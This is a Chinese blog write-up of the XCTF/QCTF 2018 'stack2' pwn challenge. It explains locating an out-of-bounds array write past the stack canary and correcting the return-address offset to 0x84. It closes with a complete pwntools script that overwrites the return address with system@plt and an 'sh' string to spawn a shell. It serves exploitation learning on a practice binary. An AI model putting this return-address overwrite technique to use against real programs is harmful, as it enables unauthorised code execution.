Stack2 攻防世界题目分析
---XCTF 4th-QCTF-2018
前言,怎么说呢,这题目还是把我折磨的可以的,我一开始是没有看到后面的直接狙击的,只能说呢。
我的不经意间的粗心,破坏了你许多的温柔
1.气的我直接检查保护:
32位程序,开启了canary保护。
2.ida查看:
首先放的第一幅图片呢,是我一开始以为可以溢出的,也可以看见我旁边标注了一个maybeoverflow。
- 但是是不可以的,因为首先由于这里的 i 最大上限100,可能有的人头铁就要说了,这里v7可以慢慢溢出去修改i,(和我一样)
可是这里v13的存储位置是和i有关的,所以不可能让你能一直溢出,后面看到了canary,我又去找了找格式化漏洞,没有找到,最最最离谱的是:
我居然想着去修改tls字段的canary数值和canary数值(有这个方法,但是这里用不了)
最后看到当我输入3的时候,那里有一个非常明显的定向狙击。
那就很简单了,去开心的写exp,确定 偏移量为74
那就v13[0x74]=???v13[0x75]=???
结果就是失败,为什么呢???
答案是这道题它后面会对栈帧做一定调整,也就是ebp上面一位高地址的地方并不是返回地址,我们这里可以结合着汇编代码看一下
在没有运行结束前,ebp下一位标的返回地址是0xffffd15c,但是我们看看ida里面的代码:
导致跳的返回地址是在ebp的高0x10个字节出,所以我们定向爆破的时候呢,其实狙击的位置是v13[0x84]的地方向上四个字节,所以初步的代码应该是: 不想写了,懒得改了
有人说服务器上没有hackhere那个函数的里面的shell执行器bash,所以要用sh,这里就有个小tips;system('sh')也是可以获得shell的,这样的 话,我们就可以写exp了,我们先去找system@plt表的地址:
我们再去找sh的位置:
这里用第一个,因为第一个字符串参数是有结束符的:
然后就直接写exp吧:(exp默写的别人,因为别人写的确实漂亮):
from pwn import * p=process('./stack2') p.recv() p.sendline('1') p.recv() p.sendline('1') offset=0x84 def leak(offset,value): p.recvuntil("5. exit\n") p.sendline('3') p.recvuntil("which number to change:\n") p.sendline(str(offset)) p.recvuntil("new number:\n") p.sendline(str(value)) system = [0x50, 0x84, 0x04, 0x08] sh=[0x87,0x89,0x04,0x08] for i in range(4): leak(offset+i,system[i]) for i in range(4): leak(offset+8+i,sh[i]) p.recv() p.sendline('5') p.interactive()
3.这道题目得到的启发:
- 1.首先呢就是每个地址前面标的地址是就是这个地方最后一位低地址的,也就是我画个图看看
2.学到了system('sh')是可以直接执行获得shell的
4.还没有学到的东西:
- 1.栈转移
- 2.修改stack——fail的got表地址.
- 3.关于修改got表的题目我一道都没有做过32位还有点准备,64位,没有准备
- 4.关于直接同时爆破tls字段的和canary段的数值。
我真垃圾,呜呜呜,居然忘记了32位传递参数中间的返回地址!!!
嘿嘿,放上我的龙!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步